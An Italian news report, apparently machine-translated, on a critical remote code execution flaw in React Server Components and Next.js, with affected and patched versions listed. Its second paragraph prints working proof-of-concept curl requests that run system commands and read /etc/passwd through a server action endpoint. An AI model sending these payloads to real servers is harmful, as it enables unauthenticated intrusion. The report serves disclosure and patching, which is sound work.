Nel framework web React, sono state corrette delle vulnerabilità (CVE-2025-55182) nei componenti server-side (RSC, React Server Components), che permettevano di eseguire codice arbitrario sul server tramite una richiesta inviata al gestore server. La vulnerabilità è stata classificata con un livello critico di pericolo (10 su 10). Si manifesta nei componenti sperimentali react-server-dom-webpack, react-server-dom-parcel e react-server-dom-turbopack, utilizzati per eseguire funzioni e generare elementi dell'interfaccia sul server, piuttosto che sul lato client.
Il problema è causato da una deserializzazione non sicura dei dati ricevuti nelle richieste HTTP ai gestori server. I gestori «vm#runInThisContext», «vm#runInNewContext», «child_process#execFileSync» e «child_process#execSync» possono essere utilizzati per eseguire comandi nel sistema o eseguire codice JavaScript nel contesto del processo attuale (bypassing la sandbox isolation). È possibile anche utilizzare i gestori «fs#readFileSync» e «fs#writeFileSync» per leggere e scrivere file arbitrari. server, in base ai diritti di accesso attuali. Non è necessaria l'autenticazione per l'attacco. È disponibile un prototipo dell'exploit. # Esecuzione del comando whoami curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={«id»:»child_process#execSync»,»bound»:[«whoami»]}’ # Esecuzione del codice JavaScript 1+1 curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={«id»:»vm#runInThisContext»,»bound»:[«1+1»]}’ # Lettura del file /etc/passwd curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={«id»:»fs#readFileSync»,»bound»:[«/etc/passwd»,»utf8″]}’
La vulnerabilità dei sistemi dipende dall'uso di componenti server vulnerabili come react-server-dom-webpack, react-server-dom-parcel e react-server-dom-turbopack. Le applicazioni che non utilizzano react-server non sono colpite da questa vulnerabilità. L'entità della copertura della vulnerabilità nei sistemi operativi che utilizzano React non è ancora chiara. Da un lato, React è uno dei framework web più popolari (utilizzato circa nel 6% dei siti web) e i componenti vulnerabili si sviluppano principalmente nei repository e fanno parte delle release. I componenti vulnerabili sono supportati anche nei framework basati su React, come Next.js e react-router. Secondo i dati di Wiz Research, istanze vulnerabili sono state identificate nel 39% degli ambienti cloud analizzati.
D'altra parte, la generazione di contenuti sul server tramite React Server I componenti sono una funzione poco utilizzata (la maggior parte dei siti React rende l'interfaccia solo sul lato client), e i componenti vulnerabili sono contrassegnati come sperimentali e non garantiscono un funzionamento corretto. Questi componenti hanno un numero relativamente basso di download diretti dal repository NPM: react-server-dom-webpack — 670 mila alla settimana, react-server-dom-parcel — 7 mila e react-server-dom-turbopack — 32 mila; a titolo di confronto, il pacchetto NPM React ha 45 milioni di download alla settimana.
La vulnerabilità è presente nelle versioni di React 9.0.0, 19.1.0, 19.1.1 e 19.2.0, ed è stata risolta negli aggiornamenti React 19.0.1, 19.1.2 e 19.2.1. I componenti vulnerabili sono utilizzati anche nei pacchetti Next.js (16 milioni di download alla settimana), react-router (20 milioni di download alla settimana), waku, @parcel/rsc, @vitejs/plugin-rsc e rwsdk.
Nel framework Next.js, la vulnerabilità (CVE-2025-66478) colpisce le applicazioni che utilizzano App Router e i rami Next.js 15.x e 16.x. Si afferma che la vulnerabilità si manifesta nella configurazione predefinita di Next.js (l'applicazione standard creata con l'utilità create-next-app è vulnerabile all'attacco). Gli utenti sono incoraggiati a installare al più presto l'aggiornamento Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 o 16.0.7.
Fonte: opennet.ru
